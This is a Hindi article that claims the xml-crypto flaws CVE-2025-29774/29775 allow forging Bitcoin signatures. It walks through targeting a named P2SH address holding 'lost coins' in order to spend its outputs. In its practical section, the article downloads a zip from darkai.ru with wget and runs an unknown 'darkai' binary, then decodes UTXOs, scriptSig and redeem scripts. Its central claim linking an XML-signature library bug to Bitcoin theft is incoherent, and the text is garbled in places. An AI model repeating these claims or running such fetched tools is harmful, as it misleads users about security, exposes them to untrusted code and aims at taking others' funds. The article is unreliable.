
CVE-2025-29774 कमजोरियां और SIGHASH_SINGLE बग नकली RawTX के साथ मल्टी-सिग्नेचर वॉलेट संचालन विधियों को कैसे खतरा पहुंचाते हैं
इस लेख में, हम डिजिटल हस्ताक्षर जालसाजी हमले (Digital Signature Forgery Attack) के क्रिप्टोग्राफिक हमले को देखेंगे, इसके परिणाम Bitcoin नेटवर्क में लेन-देन की सुरक्षा के लिए खतरा पैदा करते हैं, क्योंकि डिजिटल हस्ताक्षर क्रिप्टोकरेंसी स्थानांतरण के स्वामित्व और प्राधिकरण की पुष्टि करते हैं। हम आधुनिक शोध और पहचानी गई कमजोरियों के आधार पर Bitcoin पर ऐसे हमलों के प्रभाव के उदाहरणों पर विचार करेंगे।
डिजिटल हस्ताक्षर जालसाजी हमला (Digital Signature Forgery Attack) एक हमलावर द्वारा नकली ECDSA डिजिटल हस्ताक्षर बनाने का प्रयास है जिसे Bitcoin नेटवर्क द्वारा मान्य माना जाएगा। यह हमला मालिक की निजी कुंजी जाने बिना लेन-देन को अधिकृत करने की अनुमति देता है, जो BTC सिक्का धारक के क्रिप्टो वॉलेट में धन की सुरक्षा को जोखिम में डालता है।
क्रिप्टोग्राफी में, एक डिजिटल हस्ताक्षर किसी संदेश या लेन-देन की प्रामाणिकता की पुष्टि प्रदान करता है। हस्ताक्षर जालसाजी का अर्थ है कि एक "RawTX" जोड़ी बनाना संभव है जिसे सिस्टम द्वारा मान्य माना जाएगा, हालाँकि वास्तव में यह निजी कुंजी के स्वामी द्वारा नहीं बनाया गया था। यह धोखाधड़ी, धन की चोरी और ब्लॉकचेन की अखंडता के उल्लंघन का मार्ग खोलता है। डिजिटल हस्ताक्षर जालसाजी हमला (Digital Signature Forgery Attack - DSFA) एक क्रिप्टोग्राफिक हमले के रूप में सॉफ्टवेयर घटकों में कार्यान्वित किया जाता है जो Node.js प्लेटफ़ॉर्म पर XML दस्तावेज़ों के हस्ताक्षरों को सत्यापित करने के लिए xml-crypto लाइब्रेरी का उपयोग करते हैं।
सबसे पहले, यह उद्यम एकीकरण समाधान, क्लाउड सेवाओं और एकल साइन-ऑन सिस्टम से संबंधित है, जैसे IBM App Connect Enterprise Certified Container और अन्य एप्लिकेशन जो SAML प्रमाणीकरण और प्राधिकरण के लिए xml-crypto पर निर्भर करते हैं। हार्डवेयर कमजोरियाँ विशिष्ट भौतिक उपकरणों से जुड़ी नहीं हैं, बल्कि कमजोर लाइब्रेरी का उपयोग करने वाले सॉफ्टवेयर उत्पादों में कार्यान्वित की जाती हैं।
CVE-2025-29774 और CVE-2025-29775 नामक कमजोरियाँ, जिन्हें डिजिटल हस्ताक्षर जालसाजी हमला (Digital Signature Forgery Attack) के रूप में जाना जाता है, xml-crypto सॉफ्टवेयर लाइब्रेरी में कार्यान्वित की जाती हैं, जो Node.js प्लेटफ़ॉर्म पर XML दस्तावेज़ों पर डिजिटल हस्ताक्षर और एन्क्रिप्शन के लिए एक लाइब्रेरी है।


इस प्रकार, यह कोड विभिन्न योजनाओं (RSA विभिन्न SHA हैश और HMAC-SHA1 के साथ) के लिए क्रिप्टोग्राफिक हस्ताक्षर और हस्ताक्षर सत्यापन एल्गोरिदम को लागू करता है, जो उन्हें उन प्रणालियों में एकीकृत करने की अनुमति देता है जिन्हें डेटा के डिजिटल हस्ताक्षर की आवश्यकता होती है।
signature-algorithms.ts कोड का उपयोग डिजिटल हस्ताक्षरों को सुरक्षित रूप से बनाने और सत्यापित करने, डेटा की प्रामाणिकता और अखंडता सुनिश्चित करने के लिए किया जाता है। ECDSA हस्ताक्षर निजी कुंजी का उपयोग करके लेखकत्व सत्यापन प्रदान करते हैं, और HMAC गुप्त कुंजी का उपयोग करके अखंडता और प्रामाणिकता सत्यापन प्रदान करता है। उपयोग किए गए एल्गोरिदम XML Digital Signature मानकों का अनुपालन करते हैं (एल्गोरिदम के URI W3C विनिर्देशों की ओर इशारा करते हैं)।
इस प्रकार, signature-algorithms.ts कोड विभिन्न योजनाओं (ECDSA, RSA विभिन्न SHA हैश और HMAC-SHA1 के साथ) के लिए क्रिप्टोग्राफिक हस्ताक्षर और हस्ताक्षर सत्यापन एल्गोरिदम को लागू करता है, जो उन्हें उन प्रणालियों में एकीकृत करने की अनुमति देता है जिन्हें डिजिटल डेटा हस्ताक्षर की आवश्यकता होती है।

// उपयोग SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo> है।इन कमजोरियों को संबोधित करना उन प्रणालियों के लिए महत्वपूर्ण है जो प्रमाणीकरण के लिए XML हस्ताक्षर का उपयोग करती हैं (जैसे SAML, SOAP)।

xml-crypto लाइब्रेरी का व्यापक रूप से XML संदेशों में डिजिटल हस्ताक्षर सत्यापित करने के लिए उपयोग किया जाता है, जिसमें SAML, SOAP और अन्य प्रोटोकॉल शामिल हैं। इससे यह निष्कर्ष निकलता है कि कमजोरी संभावित रूप से प्रभावित करती है:
विशिष्ट उपकरणों पर जोखिम का आकलन करने के लिए, यह जाँचने की अनुशंसा की जाती है कि क्या वे xml-crypto के कमजोर संस्करणों का उपयोग करते हैं या समान XML हस्ताक्षर तंत्र पर निर्भर हैं। Node.js पर आधारित क्रिप्टोकरेंसी वॉलेट के साथ काम करने के लिए, IBM अलग-अलग समाधान प्रदान करता है, जैसे IBM Secure Bitcoin Wallet , जो Electrum Bitcoin Client पर आधारित एक एप्लिकेशन है जो Bitcoin नेटवर्क के साथ इंटरैक्ट करने और वॉलेट प्रबंधित करने के लिए Node.js का उपयोग करता है।
इस समाधान में, निजी कुंजियाँ और वॉलेट को IBM Cloud Hyper Protect Crypto Services (zHSM) का उपयोग करके संग्रहीत और एन्क्रिप्ट किया जा सकता है, जो हार्डवेयर-आधारित सुरक्षित कुंजी भंडारण प्रदान करता है। Bitcoin वॉलेट के लिए निजी कुंजियाँ उत्पन्न करना आमतौर पर विशेष क्रिप्टोग्राफ़िक लाइब्रेरी जैसे Electrum, bitcoinjs-lib आदि में लागू किया जाता है, जिन्हें Node.js अनुप्रयोगों में एकीकृत किया जा सकता है। IBM Secure Bitcoin Wallet कुंजी और लेन-देन प्रबंधन के लिए Node.js पर एक संशोधित Electrum बैकएंड का उपयोग करता है, IBM Cloud Hyper Protect Crypto Services के साथ एकीकरण के माध्यम से, जो हार्डवेयर एन्क्रिप्शन और निजी कुंजियों का सुरक्षित भंडारण प्रदान करता है।
कमजोरी CVE-2025-29775 के सिद्धांत से ज्ञात है कि एक हमलावर गलत लेन-देन मूल्यों के लिए एक अद्यतन रहित xml-crypto लाइब्रेरी को संसाधित कर सकता है। आइए लेख के व्यावहारिक भाग पर चलते हैं और Bitcoin वॉलेट का उपयोग करके एक उदाहरण पर विचार करते हैं: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , जहाँ खोए हुए सिक्के थे: 0.059672 BTC जुलाई 2025 तक यह राशि है: 7,052 USD
आइए प्रारूप पर विचार करें: Raw transaction बाइनरी और हेक्स डेटा जिसमें लेन-देन के बारे में सारी जानकारी होती है। यह निम्न-स्तर पर लेन-देन को प्रसारित करने, सत्यापित करने या बनाने के लिए आवश्यक है और पूरे Bitcoin नेटवर्क के संचालन का आधार है। सामान्य उपयोगकर्ता शायद ही कभी Raw transactions का सीधे सामना करते हैं, लेकिन डेवलपर्स और क्रिप्टो उत्साही लोगों के लिए, यह Bitcoin नेटवर्क के सभी लेन-देन पर पूर्ण नियंत्रण का मुख्य उपकरण है।

Bitcoin नेटवर्क में UTXO ऑब्जेक्ट को पूरी तरह से वापस करने के लिए, हम Dark AI टूल का उपयोग करेंगे। UTXO ब्लॉकचेन में डेटा संरचना का मुख्य भाग है और क्रिप्टोकरेंसी के BTC सिक्कों की मात्रा का प्रतिनिधित्व करता है जिसे निजी कुंजी के धारक (इस Bitcoin पते को नियंत्रित करने वाले) द्वारा खर्च किया जा सकता है। प्रत्येक UTXO एक विशिष्ट पिछले लेन-देन का आउटपुट है, जिसे बाद के लेन-देन में इनपुट के रूप में कभी उपयोग नहीं किया गया है।

कमांड:
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget— HTTP, HTTPS और FTP प्रोटोकॉल के माध्यम से नेटवर्क से फ़ाइलें डाउनलोड करने के लिए कमांड लाइन उपयोगिता।neuralnet_tools.zipunzip— वर्तमान निर्देशिका में ZIP आर्काइव निकालने का कमांड।यह कमांड neuralnet_tools.zip से सभी फ़ाइलें निकालता है।
!unzip neuralnet_tools.zip
त्वरित और आसान देखने के लिए कमांड ls चलाएँ।
ls

!./darkai
निर्दिष्ट Bitcoin पते के लिए तथाकथित अखर्चित लेन-देन आउटपुट ( UTXO , डिकोडिंग: Unspent Transaction Output ) के बारे में जानकारी प्राप्त करने के लिए कमांड चलाएँ। यह जानकारी पते के शेष और नए लेन-देन करने की संभावना का आकलन करने के लिए महत्वपूर्ण है।
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]प्रत्येक UTXO में शामिल हैं:
<txid>:<n>, जहाँ <txid>एक अद्वितीय लेन-देन हैश है, और <n> इस लेन-देन के आउटपुट की सूची में आउटपुट संख्या है।8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0पते का कुल उपलब्ध शेष सभी पाए गए UTXO के योग के बराबर है:

हम व्याख्या प्रक्रिया का उपयोग अद्यतन रहित xml-crypto लाइब्रेरी को संसाधित करने के लिए करते हैं ताकि अमान्य लेन-देन मान उत्पन्न किए जा सकें और एक बड़ी राशि भेजी जा सके, Dark AI एल्गोरिथम तय करेगा कि किस UTXO का उपयोग करना है (या दोनों को संयोजित करना है)।
Bitcoin पता 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe में कुल 0.05677200 BTC के दो सक्रिय UTXO हैं। इन फंडों का उपयोग नए लेन-देन करने के लिए किया जा सकता है; दोनों आउटपुट पुष्ट और अखर्चित माने जाते हैं।

किसी Bitcoin लेन-देन के आउटपुट के बारे में जानकारी के अंश प्राप्त करने के लिए, निम्नलिखित कमांड का उपयोग करें, जहाँ लेन-देन का पहला आउटपुट (
outs) का एक अद्वितीय पहचानकर्ता है8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — एक स्क्रिप्ट जो इस आउटपुट को खर्च करने की शर्तों को परिभाषित करती है।
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87 से शुरू होती है, जो P2SH (Pay to Script Hash) प्रारूप से मेल खाती है:
a9— OP_HASH160 (हैश ऑपरेटर)14— अगले मान की लंबाई (20 बाइट्स = 40 हेक्स वर्ण)06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash160 Bitcoin स्वयं Wallet पता जहाँ BTC सिक्के संग्रहीत हैं।87— OP_EQUAL (एक मूल Bitcoin Script कमांड ऑपरेटर जो डेटा के दो टुकड़ों की तुलना करके उनकी समानता सत्यापित करता है)पहचानकर्ता
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afdद्वारा लेन-देन के डिसीरियलाइज़ेशन के परिणामस्वरूप, पहला आउटपुट प्राप्त हुआ, जिसमें 677,200 सातोशी (0.00677200 BTC) की राशि है, जो P2SH स्क्रिप्ट द्वारा संरक्षित है। इन फंडों का प्रबंधन करने के लिए, गंतव्य स्क्रिप्ट प्रस्तुत करना और अनलॉकिंग लेन-देन पर सही ढंग से हस्ताक्षर करना आवश्यक होगा जो निर्दिष्ट हैश की शर्तों को पूरा करता हो।

किसी Bitcoin लेन-देन के मूल डेटा (
output) के आउटपुट के बारे में जानकारी के अंश प्राप्त करने के लिए, निम्नलिखित कमांड लागू करें, जहाँ अद्वितीय पहचानकर्ताbd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786वाले लेन-देन का पहला आउटपुट (outs) है
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786व्याख्या प्रक्रिया का उपयोग करते हुए, Dark AI की सहायता से डिसीरियलाइज़ेशन फ़ंक्शन का उपयोग करके, हम पहचानकर्ताbd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786 वाले दूसरे लेन-देन के पहले आउटपुट तत्व ( output) की संरचना के बारे में जानकारी प्राप्त करते हैं।
परिणाम:
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs' में निर्दिष्ट एक विशिष्ट लेन-देन आउटपुट से जुड़ी है। इसे केवल तभी खर्च किया जा सकता है जब फ़ील्ड 'script' में परिभाषित स्क्रिप्ट में लिखी गई शर्तें पूरी हों।
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'निर्दिष्ट मान Bitcoin नेटवर्क में मानक स्क्रिप्ट प्रकार से मेल खाता है:
a9— ऑपरेशन कोड OP_HASH160 (अगली पंक्ति से SHA-256 से RIPEMD-160 उत्पन्न करता है)।14— बाद के फ़ील्ड की लंबाई: 20 बाइट्स (40 हेक्साडेसिमल वर्ण)।06612b7cb2027e80ec340f9e02ffe4a9a59ba762— एक 20-बाइट हैश जो या तो Bitcoin वॉलेट पते या एक स्क्रिप्ट की पहचान करता है।87— ऑपरेशन कोड OP_EQUAL।एक साथ लेने पर, यह प्रविष्टि P2SH पते (Pay-to-Script-Hash) को इंगित करती है। इस मामले में, फंड एक निश्चित स्क्रिप्ट संयोजन को सौंपे जाते हैं, और उन्हें निकालने के लिए, आपको वह स्क्रिप्ट प्रकट करनी होगी जिसका हैश यहाँ दर्ज है और ऐसे हस्ताक्षर (या अन्य डेटा) प्रस्तुत करने होंगे जो इस स्क्रिप्ट की शर्तों को पूरा करते हों।
इस योजना के सबसे सामान्य उपयोग मल्टी-सिग्नेचर, सरल और जटिल स्मार्ट कॉन्ट्रैक्ट, द्विपक्षीय मल्टी-सिग्नेचर, सशर्त सुरक्षा योजनाएँ और अन्य उन्नत परिदृश्य हैं।
06612b7cb2027e80ec340f9e02ffe4a9a59ba762इस प्रकार, डिसीरियलाइज़ेशन परिणाम एक सशर्त (P2SH) पते पर बिटकॉइन की एक निश्चित राशि की उपस्थिति की रिपोर्ट करता है और उनके खर्च करने के लिए सख्त नियमों को परिभाषित करता है, जो Bitcoin नेटवर्क में फंडों के प्रबंधन और लेखांकन में महत्वपूर्ण भूमिका निभाता है।

स्क्रिप्ट 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'को इस लेन-देन आउटपुट में चुना और उपयोग किया गया है क्योंकि यह Bitcoin नेटवर्क में एक विशिष्ट P2SH (Pay-to-Script-Hash) लॉकिंग स्क्रिप्ट का प्रतिनिधित्व करता है।
आइए इसे टुकड़े-टुकड़े करके देखें:
a9— OP_HASH160: एक हैशिंग ऑपरेशन जो पहले SHA-256 और फिर बाद के डेटा पर RIPEMD-160 लागू करता है।14— हैश की लंबाई 20 बाइट्स (हेक्साडेसिमल प्रारूप में) है।06612b7cb2027e80ec340f9e02ffe4a9a59ba762— स्क्रिप्ट का 20-बाइट हैश, जिसे स्क्रिप्ट हैश के रूप में जाना जाता है।87— OP_EQUAL: एक ऑपरेटर जो स्टैक पर दो मानों की समानता की जाँच करता है।इस प्रकार, यह स्क्रिप्ट आवश्यक करती है कि उपयोग के समय (फंड खर्च करते समय) एक ऐसी स्क्रिप्ट प्रस्तुत की जाए जिसका हैश 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 से मेल खाता हो, और यह कि इस स्क्रिप्ट की शर्तें पूरी हों।
स्क्रिप्ट
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'एक P2SH लॉकिंग स्क्रिप्ट है, जो कहती है कि 0.05 BTC खर्च करने के लिए, आपको हैश06612b7cb2027e80ec340f9e02ffe4a9a59ba762के साथ मूल स्क्रिप्ट प्रदान करनी होगी और उसमें निर्दिष्ट शर्तों को पूरा करना होगा। यह सुविधा, सुरक्षा और कार्यक्षमता के बीच संतुलन प्रदान करता है – इस लेन-देन में इस विशेष स्क्रिप्ट को चुनने का मुख्य कारण। P2SH स्क्रिप्ट में हैश06612b7cb2027e80ec340f9e02ffe4a9a59ba762मूल स्क्रिप्ट (redeem script) के एक विशिष्ट हैशिंग का परिणाम है, जो इस आउटपुट से फंड खर्च करने की शर्तों को निर्धारित करता है।
06612b7cb2027e80ec340f9e02ffe4a9a59ba762 है। यह हैश उस सटीक परिदृश्य की विशिष्ट रूप से पहचान करता है जिसके लिए इसे उत्पन्न किया गया था।SHA-256 + RIPEMD-160)का उपयोग करके उत्पन्न किया गया था, इसलिए यादृच्छिक रूप से या मनमाने ढंग से कोई अलग हैश चुनना संभव नहीं है।a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287इस प्रकार, इस विशेष हैश का चुनाव आउटपुट को विशिष्ट खर्च करने की शर्तों के साथ सटीक और सुरक्षित रूप से जोड़ने की आवश्यकता से निर्धारित होता है जो ब्लॉकचेन में फंड तक पहुंच को नियंत्रित करती हैं। यह सब क्रिप्टोग्राफ़िक हैश फ़ंक्शंस, उनकी विशिष्टता और मूल डेटा की रिवर्स रिकवरी की असंभवता के गुणों द्वारा सुनिश्चित किया जाता है।
बिटकॉइन डेवलपर्स ने कोड में P2SH (Pay-to-Script-Hash) तंत्र को एक प्रमुख नवाचार के रूप में शामिल किया है जो सुरक्षा सुनिश्चित करता है और ब्लॉकचेन नेटवर्क की क्षमताओं का विस्तार करता है। आइए इस स्क्रिप्ट की संरचना और संचालन सिद्धांत, क्लासिक लेन-देन से इसके अंतर, साथ ही डिजिटल संपत्तियों को संग्रहीत करने और संरक्षित करने के लिए इस दृष्टिकोण को चुनने के कारणों पर विचार करें।
परंपरागत रूप से, बिटकॉइन लेन-देन Pay-to-Pubkey-Hash (P2PKH) योजना का उपयोग करके काम करते हैं – जहां फंड प्राप्तकर्ता के सार्वजनिक कुंजी हैश का उपयोग करके "लॉक" किए जाते हैं। इन फंडों को खर्च करने के लिए, उपयोगकर्ता को अपना डिजिटल हस्ताक्षर और सार्वजनिक कुंजी प्रदान करनी होती है, जिसे नेटवर्क द्वारा सत्यापित किया जाता है।
हालांकि, P2PKH के अलावा, इंटरफ़ेस सीमित था, क्योंकि बिटकॉइन स्क्रिप्ट मल्टी-सिग्नेचर से लेकर टाइम लॉक और अन्य स्मार्ट कॉन्ट्रैक्ट समझौतों तक, बहुत अधिक जटिल खर्च शर्तों की अनुमति देती है। समस्या यह थी कि लंबी और जटिल स्क्रिप्ट अनिवार्य रूप से लेन-देन के आकार को बढ़ाती थीं और उनकी उपयोगिता को कम करती थीं।
ऐसे जटिल परिदृश्यों के साथ बातचीत को सरल बनाने के लिए ही P2SH अवधारणा 2012 में पेश की गई थी , जिसे Gavin Andresen द्वारा BIP 16 में मानकीकृत किया गया था। P2SH का सार scriptPubKey में खर्च शर्तों की पूरी स्क्रिप्ट को उसके क्रिप्टोग्राफिक हैश – तथाकथित स्क्रिप्ट हैश से बदलने पर आधारित है।

आइए डीसीरियलाइज़ेशन के परिणामस्वरूप निर्दिष्ट स्क्रिप्ट देखें:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUALयह स्क्रिप्ट मानक P2PKH से इस मायने में भिन्न है कि सार्वजनिक कुंजी हैश के बजाय, यह एक redeemScript का हैश संग्रहीत करती है – शर्तों का एक सेट जिसके तहत फंड खर्च किए जा सकते हैं।
ऐसे फंड को खर्च करने के लिए, इस आउटपुट को संदर्भित करने वाले लेन-देन के इनपुट (scriptSig) में प्रेषित करना आवश्यक है:
लेन-देन संसाधित करते समय, नेटवर्क नोड:
P2SH इस प्रकार खर्च की शर्तों को प्रस्तुत करने और सत्यापित करने की जिम्मेदारी प्रेषक (जो आवश्यक स्क्रिप्ट बनाता है) से खर्चकर्ता पर स्थानांतरित करता है।
P2SH आपको मनमानी, अक्सर बहु-स्तरीय शर्तों वाले पते बनाने की अनुमति देता है – उदाहरण के लिए, मल्टी-सिग्नेचर आवश्यकता (2 में से 3, 5 में से 3, आदि), समय सीमा, वितरण तर्क, और भी बहुत कुछ। इस मामले में, प्रेषक तकनीकी विवरणों में जाए बिना, बस एक कॉम्पैक्ट हैश पते पर फंड भेजता है।
ब्लॉकचेन में पूरी स्क्रिप्ट संग्रहीत करने के बजाय, लेन-देन में केवल उसका हैश संग्रहीत किया जाता है। यह नेटवर्क पर लोड को कम करता है, ब्लॉक के आकार को घटाता है और लेन-देन के सत्यापन को गति देता है।
चूंकि redeemScript केवल खर्च के समय प्रकट और सत्यापित किया जाता है, यह शर्तों की गोपनीयता बढ़ाता है और अनधिकृत पहुंच प्रयासों को और कठिन बनाता है। क्रिप्टोग्राफिक हैश फ़ंक्शन का उपयोग जालसाजी और संशोधन के खिलाफ सुरक्षा की गारंटी देता है – स्क्रिप्ट में कोई भी मामूली विचलन एक अलग हैश का परिणाम देगा और नेटवर्क लेन-देन को स्वीकार करने से इंकार कर देगा।
P2SH बिटकॉइन में जटिल स्मार्ट कॉन्ट्रैक्ट के उपयोग को मानकीकृत और सरल बनाता है, एकीकरण को सरल बनाता है और विभिन्न प्रकार के वॉलेट और सेवाओं के साथ संगतता बढ़ाता है।
एक क्लासिक उदाहरण एक वॉलेट है जिसे लेन-देन पूरा करने के लिए पांच प्रतिभागियों में से दो के हस्ताक्षर की आवश्यकता होती है। P2SH के साथ:
यह P2SH को कॉर्पोरेट खातों, संयुक्त उद्यमों और अन्य स्थितियों के लिए आदर्श बनाता है जहां पहुंच नियंत्रण की आवश्यकता होती है। Pay-to-Script-Hash (P2SH) तंत्र बिटकॉइन आर्किटेक्चर का एक मूलभूत हिस्सा है, जो निम्न के बीच संतुलन प्रदान करता है:

ins) के निष्कर्षण का क्रिप्टैनालिसिसआइए हैश 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132 वाले लेन-देन के एक इनपुट के बारे में जानकारी प्राप्त करने के लिए एक कमांड चलाएँ। स्क्रिप्ट स्तर पर फंड खर्च करने के प्राधिकरण तंत्र को समझने के लिए ऐसे इनपुट का विश्लेषण महत्वपूर्ण है।
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132लेन-देन के पहले इनपुट (
ins) के निष्कर्षण का परिणाम इस प्रकार प्रस्तुत किया गया है:
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}script) का विस्तृत विश्लेषणscriptका मान scriptSig है , जिसका उपयोग संबंधित पिछले लेन-देन आउटपुट को अनलॉक करने के लिए किया जाता है।00से शुरू होता है, जो scriptSig के संदर्भ में OP_0 का अर्थ हो सकता है , पारंपरिक रूप से मल्टी-सिग्नेचर परिदृश्यों में उपयोग किया जाता है (उदाहरण के लिए Pay-to-Script-Hash मल्टी-सिग्नेचर मानक के मामले में, जहां एक स्टब की आवश्यकता होती है)।3045...), जिसमें आम तौर पर हस्ताक्षर विवरण वाले बाइट्स की एक श्रृंखला होती है।outpoint)'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— पिछले लेन-देन का हैश है।'index': 1– दूसरे आउटपुट (शून्य से गिने हुए) को इंगित करता है, जिसका उपयोग अनलॉक करने के लिए किया जाता है।sequence)4294967295 (0xFFFFFFFF)एक अधिकतम 32-बिट संख्या है।दिए गए लेन-देन हैश के साथ पहले लेन-देन इनपुट (
ins) के निष्कर्षण के क्रिप्टैनालिसिस से पता चला कि:
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1के एक विशिष्ट आउटपुट के संदर्भ का उपयोग किया जाता है।इस प्रकार, प्राप्त डेटा फंड खर्च करने के अधिकारों की जाँच के यांत्रिकी की गहरी समझ की अनुमति देता है, इसका उपयोग बिटकॉइन नेटवर्क की सुरक्षा सुनिश्चित करने के साथ-साथ बिटकॉइन स्क्रिप्ट पर आधारित स्मार्ट कॉन्ट्रैक्ट के विकास और ऑडिट में किया जाता है।

outs) के निष्कर्षण परिणाम का विस्तृत विश्लेषणआइए पहचानकर्ता
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577वाले लेन-देन के एक आउटपुट के बारे में जानकारी प्राप्त करने के लिए कमांड चलाएँ।
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577
outsविशेष रूप से, इस लेन-देन का दूसरा आउटपुट ( ), इंडेक्स 1 वाला तत्व, निकाला गया था ।
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}value
scripta91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 P2SH (Pay-to-Script-Hash) प्रारूप की एक क्लासिक लॉकिंग स्क्रिप्ट (scriptPubKey) है ।a9— OP_HASH160 एक ऑपरेटर है जो पहले इनपुट डेटा पर SHA-256 और फिर RIPEMD-160 लागू करता है।14— अगले मान की लंबाई (20 बाइट्स) हैश आकार है।06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 20-बाइट हैश, जिसे स्क्रिप्ट हैश के रूप में भी जाना जाता है , यह रिडीम स्क्रिप्ट का एक अद्वितीय प्रतिनिधित्व है जो इन फंडों के खर्च को नियंत्रित करता है।87— OP_EQUAL एक ऑपरेटर है जो दो मानों की तुलना करता है और यदि वे बराबर हैं तो सही लौटाता है।इस प्रकार, स्क्रिप्ट की आवश्यकता है कि अनलॉक (फंड खर्च) करने के लिए, उपयोगकर्ता एक रिडीम स्क्रिप्ट प्रस्तुत करे जिसका हैश इस मान से मेल खाता हो।
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577एक आउटपुट से संबंधित है जिसमें 0.0035 BTC है।06612b7cb2027e80ec340f9e02ffe4a9a59ba762वाली एक स्क्रिप्ट द्वारा नियंत्रित है।
प्राप्त जानकारी इस बात की पुष्टि करती है कि दूसरा लेन-देन आउटपुट रिकॉर्ड
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab5770.0035 BTC की राशि संग्रहीत करता है, जो एक मानक P2SH स्क्रिप्ट द्वारा hash160 मान06612b7cb2027e80ec340f9e02ffe4a9a59ba762के साथ नियंत्रित है। इन फंडों को प्रबंधित करने के लिए, संबंधित रीडीम स्क्रिप्ट प्रस्तुत करना आवश्यक है, जो Bitcoin प्रबंधन में उच्च स्तर की सुरक्षा और लचीलापन प्रदान करता है।
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeआइए HASH160 प्राप्त करने के लिए कमांड चलाएँ। Bitcoin डेवलपर्स ने 20-बाइट हैश (हेक्स) के लिए एक मानक निर्धारित किया है जिसका व्यापक रूप से अन्य लोकप्रिय क्रिप्टोकरेंसी जैसे Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR) में स्क्रिप्ट और सार्वजनिक कुंजियों के संक्षिप्त पहचानकर्ता को दर्शाने के लिए बिना किसी बदलाव के उपयोग किया जाता है।
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeप्रक्रिया प्रसंस्करण:
06612b7cb2027e80ec340f9e02ffe4a9a59ba762इस 20-बाइट हैश (हेक्स) को HASH160 कहा जाता है और इसका व्यापक रूप से Bitcoin में स्क्रिप्ट और सार्वजनिक कुंजियों के संक्षिप्त पहचानकर्ता को दर्शाने के लिए उपयोग किया जाता है।
क्रिप्टोग्राफिक हैश फ़ंक्शन का उपयोग करके Bitcoin स्क्रिप्ट को संसाधित करने में एक महत्वपूर्ण कदम।
